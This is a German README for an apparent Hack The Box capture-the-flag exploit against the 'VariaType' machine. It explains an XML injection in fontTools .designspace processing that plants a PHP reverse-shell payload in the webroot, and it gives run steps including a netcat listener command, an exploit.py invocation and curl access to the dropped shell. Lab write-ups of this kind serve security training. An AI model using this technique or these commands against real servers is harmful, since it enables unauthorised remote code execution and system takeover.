
Exploit für die VariaType HTB-Maschine, der eine XML-Injection in fontTools ausnutzt, um RCE über einen PHP-Reverse-Shell-Payload in .designspace-Metadaten zu erreichen.
Dieses Repository enthält einen speziellen Exploit für die VariaType-Maschine auf Hack The Box. Der Exploit nutzt eine Schwachstelle in der Art und Weise aus, wie die fontTools-Bibliothek oder die Webanwendung .designspace-XML-Dateien und Metadateninterpolationen verarbeitet, um eine Remote Code Execution (RCE) zu erreichen.
Die Schwachstelle liegt im Schriftgenerierungsprozess. Durch das Erstellen einer bösartigen designspace-Datei können wir eine PHP-Reverse-Shell-Nutzlast in die Metadaten der Schrift (insbesondere das <labelname>-Feld) einschleusen. Wenn der Server diese Dateien verarbeitet, um eine variable Schrift zu generieren, schreibt er die Ausgabe in einen benutzerdefinierten Pfad, sodass wir eine .php-Shell im Webroot ablegen können.
source-light.ttf und source-regular.ttf mit fontTools.designspace-Datei mit einer in CDATA verpackten PHP-Nutzlast..php-Datei im öffentlichen Verzeichnis zu speichern.Sie müssen Python 3 installiert haben sowie die folgenden Bibliotheken:
pip install fontTools requests
Auf Ihrem lokalen Rechner (oder Pwnbox) starten Sie einen Netcat-Listener:
nc -lvnp 4444
Führen Sie das Skript mit Ihrer HTB-VPN-IP und dem Listener-Port aus:
python3 exploit.py --ip <IHRE_IP> --port 4444
Wenn der Upload einen 200 OK (oder manchmal auch einen 500 zurückgibt, falls die Verarbeitung vor dem Fehler erfolgt), liefert das Skript den Dateinamen. Greifen Sie per curl oder über Ihren Browser darauf zu:
curl http://portal.variatype.htb/shell_xxxxxx.php
Dieses Skript ist nur für Bildungszwecke und autorisierte Penetrationstests bestimmt. Der Zugriff auf oder Angriff auf Ziele ohne vorherige Genehmigung ist illegal.
README.md im selben Ordner wie Ihr Skript.exploit.py heißt, oder aktualisieren Sie den Dateinamen in den obigen Befehlen.| Argument | Beschreibung | Standard |
|---|
--ip | Ihre Listener-IP (VPN) | Erforderlich |
--port | Ihr Listener-Port | Erforderlich |
--path | Zielpfad für die Shell | /var/www/portal.variatype.htb/public |
--url | Der Upload-Endpunkt | http://variatype.htb/tools/.../process |